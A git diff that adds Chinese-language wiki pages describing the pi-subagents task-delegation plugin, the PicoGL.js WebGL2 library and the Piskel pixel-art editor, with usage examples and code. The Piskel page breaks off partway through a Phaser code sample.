diff --git a/src/content/docs/projects/phaser.md b/src/content/docs/projects/phaser.md
index 7dc52537a..b53094c73 100644
--- a/src/content/docs/projects/phaser.md
+++ b/src/content/docs/projects/phaser.md
@@ -240,6 +240,7 @@ class WorldScene extends Phaser.Scene {
 <!-- 由 scripts/regen-backlinks.mjs 自动生成 -->
 
 - [[defold]] —— Defold — King 出品 Lua 引擎，移动优先 + 一键跨平台打包
+- [[godot]] —— Godot Engine — 开源游戏引擎 + 编辑器
 - [[heaps]] —— Heaps — 用 Haxe 一次编写、发布到任何平台的游戏引擎
 - [[love2d]] —— LÖVE — Lua 2D 游戏框架
 - [[melonjs]] —— melonJS — 轻量 JS 2D 引擎
diff --git a/src/content/docs/projects/pi-subagents.md b/src/content/docs/projects/pi-subagents.md
new file mode 100644
index 000000000..26445bb7f
--- /dev/null
+++ b/src/content/docs/projects/pi-subagents.md
@@ -0,0 +1,192 @@
+---
+title: 'pi-subagents — 给 Pi 装一个"派活"插件'
+来源: 'https://github.com/nicobailon/pi-subagents'
+日期: 2026-06-13
+分类: 机器学习
+子分类: ML 系统
+provenance: pipeline-v3
+---
+
+## 是什么
+
+`pi-subagents` 是给 Pi（Claude Code 的另一个名字）装的一个插件，让 Pi 可以把任务分派给**专门的子智能体**去干。日常类比：你有一个很能干的助手（Pi），但它有时候也要一个人扛所有事。装了 `pi-subagents` 之后，Pi 就可以**招临时工**——比如专门审代码的 reviewer、专门查资料的 researcher、专门写代码的 worker——各司其职，干完汇报。
+
+## 为什么重要
+
+不理解这个插件的设计，下面这些事都没法解释：
+
+- 为什么"让 AI 自己审自己的代码"效果不好——因为同一个模型在同一轮对话里缺乏"旁观者视角"
+- 为什么"并行跑三个 reviewer"比"让一个 reviewer 一次看完所有角度"更稳——因为每个子智能体拿到的是**完整的上下文副本**，不是上一个的输出摘要
+- 为什么这个插件叫"subagents"而不是"multi-agent"——因为子智能体不是独立的进程，它们是 Pi 会话的**分叉（fork）**，共享同一份上下文快照
+- 为什么它不需要写配置文件就能用——因为它内置了 8 种角色，装完直接用自然语言说话就行
+
+## 核心概念
+
+### 1. 父会话与子智能体
+
+Pi 是**父会话**，子智能体是 Pi 启动的**子会话**。每个子会话有自己的工作，完成后把结果带回父会话。
+
+```
+你 → Pi（父） → /run reviewer "审查这段代码"
+                    │
+                    └── reviewer 子智能体（独立会话，拿到完整上下文）
+                            │
+                            └── 审查完毕，结果返回给 Pi → 显示给你
+```
+
+### 2. 内置角色
+
+插件自带 8 种角色，每种像一个"专业临时工"：
+
+| 角色 | 干什么 | 什么时候用 |
+|------|--------|-----------|
+| `scout` | 快速侦察代码库：入口在哪、数据怎么流、哪里有风险 | 刚接手一个陌生项目 |
+| `researcher` | 上网查官方文档、规范、基准测试 | 不确定某个 API 怎么用 |
+| `planner` | 读代码、出实施计划，但不改代码 | 要做大改动前先规划 |
+| `worker` | 实际写代码、改文件、跑验证 | 计划批准后开工 |
+| `reviewer` | 审查实现是否达标、有没有遗漏 | 写完代码后检查 |
+| `context-builder` | 在做计划前整理代码上下文 | 复杂项目的规划前准备 |
+| `oracle` | 在行动前给第二意见、挑战假设 | 拿不准要不要这么做 |
+| `delegate` | 轻量通用代理，行为接近 Pi 本身 | 不想指定角色的时候 |
+
+### 3. 前台与后台运行
+
+子智能体有两种运行方式：
+
+- **前台（Foreground）**：结果直接流式显示在当前对话里，你等着看
+- **后台（Background）**：Pi 先回到你这里，子智能体继续干活，你可以稍后查看结果
+
+### 4. 链式与并行
+
+你可以让多个子智能体串着跑（链式）或同时跑（并行）：
+
+- 链式：`scout` 先侦察 → `planner` 基于侦察结果做计划 → `worker` 实现
+- 并行：三个 `reviewer` 同时审查，一个看正确性、一个看测试覆盖、一个看代码复杂度
+
+## 代码示例
+
+### 示例 1：自然语言派活（最简单用法）
+
+装完插件后，不需要写任何配置，直接用自然语言说话：
+
+```
+使用 reviewer 审查这个 diff。
+```
+
+或者更具体的：
+
+```
+让 oracle 对当前方案给第二意见。挑战我的假设，告诉我可能漏了什么。
+```
+
+Pi 会自动理解你的意思，启动对应的子智能体，把任务发出去，再把结果拿回来显示给你。
+
+### 示例 2：链式工作流（/chain 命令）
+
+用 `/chain` 命令让多个角色按顺序干活：
+
+```
+/chain scout "扫描整个代码库" -> planner "基于扫描结果制定实施方案"
+```
+
+这条命令的意思是：先启动 `scout` 角色去扫描代码库，等 scout 完成任务后，把它的输出自动喂给 `planner` 角色去做计划。`planner` 不需要额外给任务——它会继承 scout 的输出。
+
+你也可以给每一步指定不同的模型：
+
+```
+/run reviewer[model=anthropic/claude-sonnet-4] "审查这个 diff"
+```
+
+### 示例 3：并行审查员
+
+```
+/parallel reviewer[skills=code-review+security] "审查后端" -> reviewer[model=openai/gpt-5-mini] "审查前端"
+```
+
+两个 reviewer 同时启动，各自有不同的技能配置和模型。结果会合并显示。
+
+### 示例 4：配置文件覆盖默认模型
+
+内置角色默认使用 Pi 当前的默认模型。如果你想让某个角色固定用特定模型，可以改设置：
+
+```json
+{
+  "subagents": {
+    "agentOverrides": {
+      "reviewer": {
+        "model": "anthropic/claude-sonnet-4",
+        "thinking": "high",
+        "fallbackModels": ["openai/gpt-5-mini"]
+      }
+    }
+  }
+}
+```
+
+这会把所有 reviewer 任务固定用 Sonnet 4，并配了一个备用模型以防主模型不可用。
+
+### 示例 5：推荐编排模式
+
+对于实现类任务，推荐的链式流程是：
+
+```
+clarify → planner → worker → fresh reviewers → worker
+```
+
+翻译成自然语言就是：先澄清需求 → 让 planner 出计划 → 让 worker 实现 → 让新的 reviewer 审查 → 让 worker 根据反馈修复。这是一个"写完-检查-修复"的闭环。
+
+## 进阶功能
+
+### 后台运行与状态检查
+
+后台运行的子智能体不会阻塞你。你可以随时查看状态：
+
+```
+subagent({ action: "status" })
+```
+
+或者查看某个具体任务的进度。
+
+### 子智能体之间的通信（Intercom）
+
+安装 `pi-intercom` 后，子智能体可以在运行时主动联系父会话，询问需要你做决定的事情。比如 worker 在实现时遇到一个产品层面的选择，可以停下来问你，而不是自己猜。
+
+### 安全边界
+
+子智能体不能无限嵌套调用子智能体。默认最多两层深度（父 → 子 → 孙），防止递归爆炸。子智能体也不会拿到 `pi-subagents` 这个技能本身，所以它不会"无限招临时工"。
+
+## 适合 vs 不适合的场景
+
+**适合**：
+- 一个任务可以拆成几个明确的子步骤，每步由不同角色负责
+- 你需要"旁观者视角"来审查自己的代码或方案
+- 想并行跑多个角度的检查（安全性、测试、复杂度各一个 reviewer）
+- 想让子智能体在后台跑，不阻塞当前对话
+
+**不适合**：
+- 单个简单任务——不需要折腾子智能体
+- 需要子智能体之间频繁交互的场景——它们之间没有真正的共享状态
+- 对成本极度敏感——每个子智能体都是独立的 LLM 调用，会多花钱
+
+## 学到的东西
+
+1. **"派活"比"写调度"门槛低**——用自然语言说"让 reviewer 看看"比写一个调度脚本简单得多
+2. **上下文分叉是关键**——子智能体拿到的是完整上下文快照，不是摘要，这保证了审查质量
+3. **角色分工是稳定的 system prompt 包装**——每个内置角色本质上是一套精心设计的预设指令
+4. **安全边界不能少**——嵌套限制和权限隔离防止了子智能体失控
+
+## 延伸阅读
+
+- 官方仓库：[github.com/nicobailon/pi-subagents](https://github.com/nicobailon/pi-subagents)（完整文档和配置参考）
+- [[crewai]] —— 类似的多 Agent 编排框架，但面向 Python 独立应用，不是 VS Code 插件
+- [[agent-memory]] —— Agent 记忆管理，跟子智能体的上下文传递有关联
+
+## 关联
+
+- [[crewai]] —— 多 Agent 编排，独立应用 vs pi-subagents 的插件模式
+- [[agentless]] —— 反向参照，证明"不用子智能体"也能解决很多问题
+- [[free-claude-code]] —— Pi（Claude Code）的相关资源
+
+## 反向链接
+
+<!-- 由 scripts/regen-backlinks.mjs 自动生成 -->
diff --git a/src/content/docs/projects/picogl.md b/src/content/docs/projects/picogl.md
new file mode 100644
index 000000000..588d3d67a
--- /dev/null
+++ b/src/content/docs/projects/picogl.md
@@ -0,0 +1,242 @@
+---
+title: PicoGL.js — 极简 WebGL2 包装
+来源: 'https://github.com/tsherif/picogl.js'
+日期: 2026-06-13
+子分类: 渲染与图形
+分类: 图形学
+provenance: pipeline-v3
+难度: 中级
+---
+
+## 是什么
+
+PicoGL.js 是一个**只包装 WebGL 2、不造 3D 引擎**的 JavaScript 渲染库。日常类比：原生 WebGL 2 像一间没有标签的配电房——每根线对应一个全局开关，你必须记住「先开哪路、再合哪闸」，顺序错一步整栋楼可能静默黑屏；PicoGL 则在配电房外面贴好名牌、把常用操作收成链式按钮，你仍然亲手接线，但不再对着裸铜线发呆。
+
+库由 Tarek Sherif（BioDigital）于 2017 年发布，MIT 协议，零依赖，gzip 后约十几 KB。它**不是** Three.js 那种场景图引擎：没有 GameObject、没有材质系统、没有摄像机抽象。概念模型几乎一一对应 WebGL 2 原生对象——Program、VAO、UBO、FBO、Transform Feedback——唯一稍高层的封装是 **DrawCall**，把一次绘制所需的 program、顶点数组、uniform、纹理绑在一起。
+
+目标用户是**已经理解 WebGL 2 管线**、想要少写样板代码、又不愿被高层引擎挡在着色器之外的人。官网提供从三角形到延迟渲染、SSAO、布料模拟等大量示例，npm 包名 `picogl`，每周下载约千次量级。
+
+## 为什么重要
+
+不理解 PicoGL，下面几件事很难讲清楚：
+
+- 为什么 WebGL 2 的 VAO、UBO、Transform Feedback 在原生 API 里又臭又长，而 PicoGL 用链式调用就能串起来
+- 为什么 regl 适合 WebGL 1 函数式命令，而 PicoGL 专精 WebGL 2 的「对象 + 状态追踪」模型——二者是同一问题的两代解法
+- 为什么科学可视化、医学 3D（BioDigital Human）团队选「薄封装」而不是 Three.js：需要直接操控 GLSL 3.00 ES、实例化、多渲染目标
+- 为什么「DrawCall 对象」能避免 draw 前漏绑 uniform block 或纹理单元——状态被收进对象里，而不是散落在全局 GL 上下文
+
+## 核心概念
+
+1. **App — 全局 GL 管家**：`PicoGL.createApp(canvas)` 创建 WebGL 2 上下文并追踪 clear 颜色、viewport、framebuffer 绑定等全局状态。链式调用 `.clearColor()`、`.drawFramebuffer()`、`.clear()` 都在 App 上完成。类比：App 是配电房总控面板，DrawCall 是各楼层分闸。
+
+2. **Program — 链式编译的着色器程序**：`createProgram(vert, frag)` 同步编译链接；`createPrograms([...])` 返回 Promise，在支持的平台上**并行编译**多个 program，适合启动时批量加载 shader。PicoGL 还把 WebGL 枚举挂到 `PicoGL.FLOAT`、`PicoGL.DEPTH_TEST` 等常量上，少记一层 `gl.` 前缀。
+
+3. **VertexBuffer + VertexArray（VAO）**：VertexBuffer 存顶点/实例数据；VertexArray 把「哪个 buffer 绑到哪个 attribute location」固化下来。`.vertexAttributeBuffer(0, pos)` 是 per-vertex；`.instanceAttributeBuffer(1, offset)` 是 per-instance，配合 instanced draw。VAO 的意义：切换网格时只 bind 一个 VAO，而不是重新 pointer 一遍——像给每套家具贴好「插头对应表」，搬家时整表换插。
+
+4. **UniformBuffer（UBO）**：WebGL 2 允许把多个 uniform 打包成一块 std140 布局的 GPU 内存，一次绑定整个 block。PicoGL 用 `.createUniformBuffer([PicoGL.FLOAT_MAT4, ...]).set(0, matrix).update()` 描述布局与赋值，DrawCall 上 `.uniformBlock("BlockName", ubo)` 绑定。适合 MVP 矩阵、材质参数等「每帧改、多 shader 共享」的数据。
+
+5. **DrawCall — 一次绘制的快照**：`createDrawCall(program, vertexArray)` 创建后链式设置 `.uniform()`、`.uniformBlock()`、`.texture()`、`.transformFeedback()`，最后 `.draw()` 或 `.drawInstanced()`。DrawCall 内部记住当前 program、VAO、纹理单元分配，减少「忘了 active texture unit」类 bug。
+
+6. **Framebuffer + 多渲染目标（MRT）**：离屏渲染、延迟渲染、后处理都依赖 FBO。PicoGL 的 `createFramebuffer().colorTarget(0, tex0).colorTarget(1, tex1).depthTarget(depthTex)` 对应 WebGL 2 的 multiple render targets，比 WebGL 1 的 hack 干净得多。
+
+7. **Transform Feedback**：顶点着色器输出可以写回 buffer，用于 GPU 粒子、布料、物理迭代。PicoGL 在 `createPrograms` 第三参数传 varying 名列表，再 `createTransformFeedback().feedbackBuffer(0, dest)` 挂到 DrawCall 上。
+
+## 与 regl / Three.js 怎么选
+
+| 维度 | PicoGL.js | regl | Three.js |
+|------|-----------|------|----------|
+| API 代数 | WebGL **2** 专用 | WebGL **1** 为主 | 高层场景图 |
+| 抽象程度 | 薄：对象 ≈ GL 对象 | 中：命令函数 | 厚：Mesh/Scene/Camera |
+| 着色器 | 手写 GLSL 3.00 ES | 手写 GLSL 1.0/3.0 | 可选 ShaderMaterial |
+| 典型场景 | WebGL2 demo、医学 3D、教学 | Observable 可视化、GPGPU ping-pong | 通用 3D 产品 |
+
+若你已会 WebGL 2 管线、想要 regl 那种「少样板」但**必须用到 UBO/TF/instancing**，PicoGL 是更对口的选择。
+
+## 实践案例
+
+### 案例 1：最小三角形 + Uniform Buffer
+
+下面示例对应官网 README：创建 App → 异步编译 program → VBO/VAO → UBO 存两个 vec4 颜色 → DrawCall 绘制。
+
+```js
+import PicoGL from 'picogl'
+
+const canvas = document.querySelector('#gl')
+const app = PicoGL.createApp(canvas).clearColor(0, 0, 0, 1)
+
+const vert = `#version 300 es
+  layout(location = 0) in vec2 position;
+  void main() {
+    gl_Position = vec4(position, 0.0, 1.0);
+  }
+`
+
+const frag = `#version 300 es
+  precision highp float;
+  layout(std140) uniform ColorUniforms {
+    vec4 colorA;
+    vec4 colorB;
+  };
+  out vec4 outColor;
+  void main() {
+    outColor = mix(colorA, colorB, gl_FragCoord.x / 800.0);
+  }
+`
+
+app.createPrograms([[vert, frag]]).then(([program]) => {
+  const positions = app.createVertexBuffer(
+    PicoGL.FLOAT,
+    2,
+    new Float32Array([-0.5, -0.5, 0.5, -0.5, 0.0, 0.5])
+  )
+
+  const vertexArray = app.createVertexArray().vertexAttributeBuffer(0, positions)
+
+  const uniformBuffer = app
+    .createUniformBuffer([PicoGL.FLOAT_VEC4, PicoGL.FLOAT_VEC4])
+    .set(0, new Float32Array([1, 0, 0, 0.3]))
+    .set(1, new Float32Array([0, 0, 1, 0.7]))
+    .update()
+
+  const drawCall = app
+    .createDrawCall(program, vertexArray)
+    .uniformBlock('ColorUniforms', uniformBuffer)
+
+  function frame() {
+    app.clear()
+    drawCall.draw()
+    requestAnimationFrame(frame)
+  }
+  frame()
+})
+```
+
+**逐段解释**：`#version 300 es` 声明 WebGL 2 着色器；`layout(location=0)` 与 VAO 的 attribute 0 对应；UBO 里 `layout(std140) uniform ColorUniforms` 必须与 JS 侧 block 名一致；`.update()` 才把 CPU 侧修改推到 GPU——忘记调用是常见坑。`createPrograms` 用数组包一层是为了将来并行编译多组 shader。
+
+### 案例 2：实例化绘制 — 一次 draw 画多个三角形
+
+实例化（instancing）让 GPU 用同一套顶点数据、不同的 per-instance 属性（偏移、颜色）批量绘制。PicoGL 用 `instanceAttributeBuffer` 区分 per-vertex 与 per-instance：
+
+```js
+const app = PicoGL.createApp(canvas).clearColor(0.1, 0.1, 0.12, 1)
+
+// 单个三角形的局部坐标（每顶点一份）
+const positions = app.createVertexBuffer(
+  PicoGL.FLOAT,
+  2,
+  new Float32Array([-0.3, -0.3, 0.3, -0.3, 0.0, 0.3])
+)
+
+// 三个实例的世界偏移（每实例一份）
+const offsets = app.createVertexBuffer(
+  PicoGL.FLOAT,
+  2,
+  new Float32Array([-0.5, 0.0, 0.0, 0.2, 0.5, 0.0])
+)
+
+const vertexArray = app
+  .createVertexArray()
+  .vertexAttributeBuffer(0, positions)
+  .instanceAttributeBuffer(1, offsets)
+
+const drawCall = app.createDrawCall(program, vertexArray).instances(3)
+
+app.clear()
+drawCall.draw() // 等价于 gl.drawArraysInstanced(...)
+```
+
+**逐段解释**：attribute 0 走 `vertexAttribPointer` 语义，每顶点步进；attribute 1 走 `vertexAttribDivisor(1, 1)`，同一实例内所有顶点共享一份 offset。`.instances(3)` 告诉 DrawCall 画 3 个实例。若把 offsets 错绑成 `.vertexAttributeBuffer`，你会看到三个三角形叠在同一位置而不是排开。
+
+### 案例 3（选读）：离屏 FBO + 后处理 pass
+
+多 pass 渲染的标准模式：pass A 画到 FBO 纹理，pass B 全屏四边形采样该纹理。
+
+```js
+const colorTarget = app.createTexture2D(app.width, app.height)
+const depthTarget = app.createTexture2D(app.width, app.height, {
+  internalFormat: PicoGL.DEPTH_COMPONENT16,
+})
+
+const framebuffer = app
+  .createFramebuffer()
+  .colorTarget(0, colorTarget)
+  .depthTarget(depthTarget)
+
+// Pass 1：离屏
+app.drawFramebuffer(framebuffer).clear()
+sceneDrawCall.draw()
+
+// Pass 2：屏幕，把 FBO 颜色绑到 sampler
+app.defaultDrawFramebuffer().clear()
+postDrawCall.texture('sceneColor', colorTarget).draw()
+```
+
+**要点**：`drawFramebuffer` / `defaultDrawFramebuffer` 切换写入目标；`postDrawCall.texture` 自动分配 texture unit。resize 窗口后需重建与 `app.width/height` 匹配的 texture，否则画面拉伸或采样错位。
+
+## 踩过的坑
+
+1. **忘记 `uniformBuffer.update()`**：`.set()` 只改 CPU 侧镜像，不调用 `update()` GPU 读到的仍是旧值，表现像「uniform 传不进去」。
+
+2. **WebGL 2 上下文创建失败**：Safari 旧版、未开实验特性的环境会拿不到 WebGL 2。PicoGL 没有 WebGL 1 回退，需先检测 `canvas.getContext('webgl2')`。
+
+3. **std140 对齐**：UBO 里 `vec3` 后接 `float` 会插入 padding。布局与 GLSL `layout(std140)` 不一致会导致矩阵「看起来转了 90°」——用官网 Uniform Buffer 示例的布局表对照。
+
+4. **Transform Feedback 与 rasterizer**：捕获 varying 时往往要关闭 rasterizer 或写空 fragment shader，否则仍走正常光栅化。PicoGL 示例里会配合 `RASTERIZER_DISCARD` 等状态。
+
+5. **上下文丢失**：PicoGL 提供 `App.restorePrograms()` 等在 context loss 后批量恢复资源；移动端切后台可能触发，需在 `webglcontextrestored` 里重建 VAO/纹理。
+
+## 适用 vs 不适用
+
+**适用**：
+
+- 学习 WebGL 2 管线，希望 API 比裸 `gl.*` 友好但仍「看得见」底层对象
+- 需要 UBO、instancing、MRT、Transform Feedback 的 demo 或科研可视化
+- 已有 GLSL 3.00 ES shader，不想被 Three.js 材质系统包一层
+- 与 regl 类似体量的小工具：医学 3D、自定义后处理、WebGL 课程作业
+
+**不适用**：
+
+- 需要完整 3D 引擎（动画、物理、加载 glTF 一条龙）→ Three.js / Babylon.js
+- 只需 WebGL 1 或要兼容极老浏览器 → regl 或 twgl
+- 团队完全零基础 3D → 先 Three.js，再读 PicoGL 理解底层
+- 目标 WebGPU → 考虑 wgpu 或原生 WebGPU API
+
+## 历史小故事（可跳过）
+
+- **2016–2017**：WebGL 2 规范落地，VAO/UBO/TF 进浏览器，但样板代码比 WebGL 1 更多。Tarek Sherif 在 BioDigital 做人体 3D 可视化，需要直接操控 WebGL 2，于是抽出 PicoGL。
+- **Khronos Meetup**：作者做过「WebGL 2 Development with PicoGL.js」分享，核心信息是「只简化状态管理，不隐藏管线」。
+- **示例库膨胀**：官网 Advanced Examples 涵盖延迟渲染、OIT、SSAO 等，证明薄封装也能搭重型渲染技术栈——关键是 shader 与 pass 设计，不是引擎品牌。
+- **与 regl 并存**：regl 偏函数式命令、WebGL 1 生态；PicoGL 偏 WebGL 2 对象模型。二者都是「懂 GL 的人用的便利层」，不是竞品关系而是代数不同。
+
+## 学到什么
+
+1. **薄封装的价值**：当团队已经理解管线，最缺的往往是状态追踪与链式 API，而不是又一个 SceneGraph。
+2. **DrawCall 作为边界**：把一次 draw 所需状态收进一个对象，等价于在代码里画一条「提交前检查清单」。
+3. **WebGL 2 的 UBO/VAO 是标配**：现代浏览器内做 instancing 和后处理，应默认按 WebGL 2 设计；PicoGL 把这条路径铺平了。
+4. **并行编译 shader**：启动时 `createPrograms` 批量编译，能缩短首帧黑屏——小库也可以做平台级优化。
+
+## 延伸阅读
+
+- 官方站点：[PicoGL.js 首页与示例](https://tsherif.github.io/picogl.js/)
+- API 文档：[JSDoc 完整参考](https://tsherif.github.io/picogl.js/docs/)
+- 作者教程：[WebGL 2 Development with PicoGL.js](https://tsherif.wordpress.com/2017/07/26/webgl-2-development-with-picogl-js/)
+- npm：[picogl 包](https://www.npmjs.com/package/picogl)
+- 仓库：[github.com/tsherif/picogl.js](https://github.com/tsherif/picogl.js)
+
+## 关联
+
+- [[regl]] —— 函数式 WebGL 1 封装，与 PicoGL 的 WebGL 2 对象模型形成对照
+- [[three-js]] —— 高层 3D 引擎；PicoGL 适合「只要 GL 便利层」的场景
+- [[playcanvas]] —— 完整游戏引擎路线，与 PicoGL 的极简定位相反
+- [[webgl-fundamentals]] —— 理解 VAO、UBO、管线阶段后再读 PicoGL 事半功倍
+- [[d3]] —— 2D 数据可视化常配 D3；大规模 GL 点云可下沉到 PicoGL/regl 层
+
+## 反向链接
+
+<!-- 由 scripts/regen-backlinks.mjs 自动生成 -->
+
+- [[d3]] —— D3.js — 不是图表库，是写图表库的乐高
+- [[luma-gl]] —— luma.gl — vis.gl WebGL2/WebGPU 抽象
+- [[playcanvas]] —— PlayCanvas — 浏览器里跑的 3D 游戏引擎
+- [[regl]] —— regl — 函数式 WebGL 封装
+
diff --git a/src/content/docs/projects/piskel.md b/src/content/docs/projects/piskel.md
new file mode 100644
index 000000000..c6a5771bd
--- /dev/null
+++ b/src/content/docs/projects/piskel.md
@@ -0,0 +1,297 @@
+---
+title: Piskel — Web 像素艺术编辑器
+来源: 'https://github.com/piskelapp/piskel'
+日期: 2026-06-13
+子分类: 渲染与图形
+分类: 图形学
+provenance: pipeline-v3
+难度: 初级
+---
+
+## 日常类比：Piskel 是「浏览器里的翻页动画本」
+
+小时候在作业本角落画小人，一页一个姿势，快速翻动纸边让人物「跑起来」——Piskel 就是把这套玩法搬进浏览器：
+
+- **画布（Canvas）** → 固定大小的方格纸（常见 16×16、32×32、64×64），每个格子是一粒可着色的像素
+- **帧（Frame）** → 动画本里的每一页；底部时间轴可增删、复制、调顺序
+- **图层（Layer）** → 盖在同一页上的透明胶片：底层画阴影，中层画身体，顶层画武器
+- **洋葱皮（Onion Skin）** → 作画时半透明叠出前后几帧轮廓，像描摹前一页的铅笔印
+- **调色板（Palette）** → 颜料盒里只放项目允许的几种颜色，复古 Game Boy 风常用 4 色
+
+和 [[aseprite]] 这类桌面专业工具相比，Piskel 的定位是**零安装、打开即画**：访问 [piskelapp.com](https://www.piskelapp.com/) 或下载离线版，几分钟内就能导出 GIF 或精灵表给 [[phaser]]、[[godot]]、[[love2d]] 使用。源码在 [piskelapp/piskel](https://github.com/piskelapp/piskel)（Apache 2.0，约 12k stars），由 Google 工程师 Julian Descottes 发起，纯 JavaScript + HTML + CSS 构建。
+
+| 维度 | 说明 |
+|---|---|
+| 在线版 | [piskelapp.com](https://www.piskelapp.com/) |
+| 儿童版 | [Piskel For Kids](https://www.piskelapp.com/piskel-for-kids)（去社交、简化界面） |
+| 原生工程格式 | `.piskel`（JSON + Base64 PNG 帧数据） |
+| 典型导出 | 动画 GIF、单帧 PNG、ZIP 帧序列、横向/网格精灵表 PNG、C 数组 |
+| 离线版 | Windows / macOS / Linux 桌面应用（见 [Wiki: Desktop applications](https://github.com/piskelapp/piskel/wiki/Desktop-applications)） |
+| 嵌入 | [piskel-embed](https://github.com/piskelapp/piskel-embed) 演示 iframe 集成 |
+
+---
+
+## 解决什么问题
+
+独立游戏、网页小游戏、教学场景里常需要**低分辨率角色动画**，但很多人不想先学 Photoshop 或购买 [[aseprite]]。Piskel 填补的缺口是：
+
+1. **零门槛**：无需账号即可在浏览器作画（登录后可存云端画廊）
+2. **动画优先**：帧时间轴、实时预览、可调 FPS（默认常 12 FPS）
+3. **游戏向导出**：一张 PNG 精灵表 + 已知帧宽即可接入引擎
+4. **开源可自托管**：可 fork 后内嵌到自己的教育平台或关卡编辑器
+
+一句话：**Piskel 画像素动画，引擎读精灵表跑逻辑**——和 [[tiled]] 画关卡、[[aseprite]] 做重度时间轴是同一分工里的「轻量 Web 路线」。
+
+---
+
+## 核心概念
+
+### 1. 像素网格与画布尺寸
+
+Piskel 工作在**离散像素网格**上，不是矢量。创建项目时选定 `width × height`（如 32×32）；之后可用 **RESIZE** 扩展画布，但已有像素不会自动重采样——这是像素艺术的常态，改尺寸前要心里有数。
+
+**缩放预览**（1× / 最佳倍数 / 全屏）只影响显示，不改变真实分辨率。导出给游戏时永远按原始像素尺寸计算。
+
+### 2. 帧（Frame）与时间轴
+
+时间轴在编辑器底部：每格是一帧，可设置播放延迟。预览区实时播放，边画边看「走路是否顺」。
+
+常用操作：
+
+| 操作 | 作用 |
+|---|---|
+| 复制帧 | 上一格姿势微调，适合走路循环 |
+| 洋葱皮 | 显示前后帧 ghost，对齐脚落地 |
+| FPS 滑块 | 全局播放速度；导出 GIF 时影响帧间隔 |
+
+### 3. 图层（Layer）
+
+多图层自下而上合成。每层有独立不透明度（0–1），可隐藏、重命名、合并。复杂角色可把「身体 / 头发 / 武器」拆开，换武器时只改顶层。
+
+**Move 工具** 可勾选「应用到所有图层 / 所有帧」，批量平移整段动画——修对齐时很省事。
+
+### 4. 绘图工具链
+
+| 工具 | 快捷键 | 要点 |
+|---|---|---|
+| Pen | P | 单像素描边；配合 Mirror 画对称角色 |
+| Eraser | E | 擦成透明 |
+| Paint bucket | B | 同色填充；可限定当前层或全帧 |
+| Rectangle / Circle | R / C | Shift 保持 1:1 比例 |
+| Stroke | L | Shift 画直线 |
+| Lighten / Darken | U | 快速明暗过渡，像素画阴影常用 |
+| Dithering | T | 有序抖动，模拟更多「视觉色」 |
+| Color picker | O | 从画布吸色 |
+| 选区（矩形/套索/形状） | S / H / Z | 可跨层跨帧复制粘贴 |
+
+### 5. 调色板（Palettes）
+
+右侧 **Palettes** 面板管理项目色板；可从当前画面提取颜色，或导入预设（如 Game Boy 四色）。限制色数能强迫保持复古一致感，也方便后续在引擎里做**调色板换肤**（整图索引色替换）。
+
+### 6. 导入与导出
+
+**IMPORT** 支持：静态图、动画 GIF、已有 `.piskel` 工程。GIF 会拆成多帧导入时间轴。
+
+**EXPORT** 主要模式：
+
+| 模式 | 用途 |
+|---|---|
+| GIF | 社交分享、原型演示 |
+| PNG（单帧 / 全动画合并） | 静态资源或预览 |
+| ZIP（每帧一张 PNG） | 导入 Aseprite、批处理 |
+| Spritesheet PNG | **游戏引擎最常用**：多帧横排或网格排列 |
+| C 数组 | 嵌入式 / 单片机 demo |
+
+精灵表导出时可设**每行帧数**、**间距（spacing）**、是否带**元数据 JSON**（部分版本/分支支持帧矩形信息）。
+
+### 7. `.piskel` 文件格式
+
+`.piskel` 本质是 JSON 文本，各层各帧以 **Base64 编码的 PNG** 嵌在 `layers` 数组里（每层又是一个 JSON 字符串）。结构示意：
+
+```json
+{
+  "modelVersion": 1,
+  "piskel": {
+    "name": "hero_run",
+    "description": "32x32 run cycle",
+    "fps": 12,
+    "width": 32,
+    "height": 32,
+    "layers": [
+      "{\"name\":\"Layer 1\",\"opacity\":1,\"frameCount\":4,\"chunks\":[{\"layout\":[[0,1,2,3]],\"base64PNG\":\"data:image/png;base64,iVBORw0KGgo...\"}]}"
+    ]
+  }
+}
+```
+
+`layers` 里每一项是**字符串化的 JSON**——解析时要 `JSON.parse` 两次。这种设计方便在浏览器里用 `FileReader` 直接读写，也方便版本迁移（`modelVersion` 字段）。
+
+### 8. 技术栈与架构注记
+
+- 渲染依赖 HTML5 **Canvas**；图层合成、导入导出历史上大量通过 Canvas API 完成
+- 依赖库包括 [gif.js](https://jnordberg.github.io/gif.js/)（Web Worker 编 GIF）、[jszip](https://stuk.github.io/jszip/)（ZIP 导出）、[supergif](https://github.com/buzzfeed/libgif-js)（GIF 导入）等
+- 2026 年起上游在推进 **Vite + TypeScript + ES modules** 现代化（见 [Issue #1246](https://github.com/piskelapp/piskel/issues/1246)），并讨论减少「以 Canvas 为数据源」以避免 Brave 等浏览器的 canvas 指纹扰动导致色差（[Issue #1245](https://github.com/piskelapp/piskel/issues/1245)）
+
+### 9. 浏览器与平台限制
+
+| 环境 | 支持情况 |
+|---|---|
+| Chrome / Firefox / Edge（最新桌面版） | 推荐 |
+| Brave | 需关闭 canvas 指纹保护，否则颜色可能偏移 |
+| 手机 / 平板 | **官方不支持**（UI 为桌面横屏设计） |
+| 离线桌面版 | 支持，适合教室无网环境 |
+
+---
+
+## 代码示例
+
+### 示例 1：用 Node 解析 `.piskel` 并列出帧信息
+
+在 CI 或资源管线里，可先解析工程再决定如何烘精灵表：
+
+```js
+// parse-piskel.mjs — 读取 .piskel，打印每层每帧布局
+import { readFileSync } from 'node:fs';
+
+function loadPiskel(path) {
+  const root = JSON.parse(readFileSync(path, 'utf8'));
+  const meta = root.piskel;
+  const layers = meta.layers.map((layerStr) => JSON.parse(layerStr));
+  return { meta, layers };
+}
+
+const { meta, layers } = loadPiskel('./hero_run.piskel');
+console.log(`${meta.name}: ${meta.width}x${meta.height} @ ${meta.fps} FPS`);
+for (const layer of layers) {
+  console.log(`  layer "${layer.name}" opacity=${layer.opacity} frames=${layer.frameCount}`);
+  for (const chunk of layer.chunks) {
+  // layout 是二维数组，标出 chunk 内帧索引
+    console.log('    layout:', chunk.layout);
+  }
+}
+```
+
+输出可用于校验：帧数是否与游戏状态机一致、层名是否符合约定。
+
+### 示例 2：在 Phaser 3 中加载 Piskel 导出的横向精灵表
+
+在 Piskel 里 **EXPORT → PNG Spritesheet**，假设 4 帧跑步、每帧 32×32、横向一排：
+
+```js
+// main.js — Phaser 3 播放 Piskel 导出的精灵表
+const config = {
+  type: Phaser.AUTO,
+  width: 320,
+  height: 180,
+  scene: { preload, create },
+};
+
+new Phaser.Game(config);
+
+function preload() {
+  // 128x32 = 4 帧 x 32px 宽
+  this.load.spritesheet('hero-run', 'assets/hero_run_sheet.png', {
